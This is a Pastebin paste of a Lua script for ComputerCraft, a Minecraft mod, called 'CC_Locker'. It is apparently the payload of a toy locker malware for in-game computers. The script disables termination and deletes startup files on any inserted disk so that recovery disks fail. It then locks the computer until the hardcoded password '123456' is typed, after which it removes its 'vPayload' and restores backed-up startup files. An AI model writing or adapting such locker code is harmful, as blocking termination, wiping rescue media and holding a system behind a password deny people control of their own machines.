Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- function centerText(text)
- w, h = term.getSize()
- term.setCursorPos(w / 2 - math.floor(string.len(text) / 2), 1)
- textutils.slowPrint(text)
- end
- password = "123456"
- term.clear()
- term.setCursorPos(1,1)
- if fs.exists("disk") then
- if fs.isDir("disk") then
- if fs.exists("disk/startup") then
- fs.delete("disk/startup")
- print("No anti-viruses allowed: deleted disk/startup")
- end
- if fs.exists("disk/startup.lua") then
- fs.delete("disk/startup.lua")
- print("No anti-viruses allowed: deleted disk/startup.lua")
- end
- end
- end
- centerText('[CC_Locker]')
- term.setCursorPos(1, 3)
- textutils.slowPrint("You're locked out! If you want to get back in then you must know the password!")
- print("")
- while true do
- textutils.slowWrite("Password: ")
- input = read()
- if input == "123456" then
- term.clear()
- fs.delete("vPayload")
- fs.delete("startup")
- if fs.exists("backup_startup") then
- fs.copy("backup_startup", "startup")
- fs.delete("backup_startup")
- end
- if fs.exists("backup_startup_lua") then
- fs.copy("backup_startup_lua", "startup.lua")
- fs.delete("backup_startup_lua")
- end
- shell.run("set shell.allow_disk_startup true")
- os.reboot()
- else
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement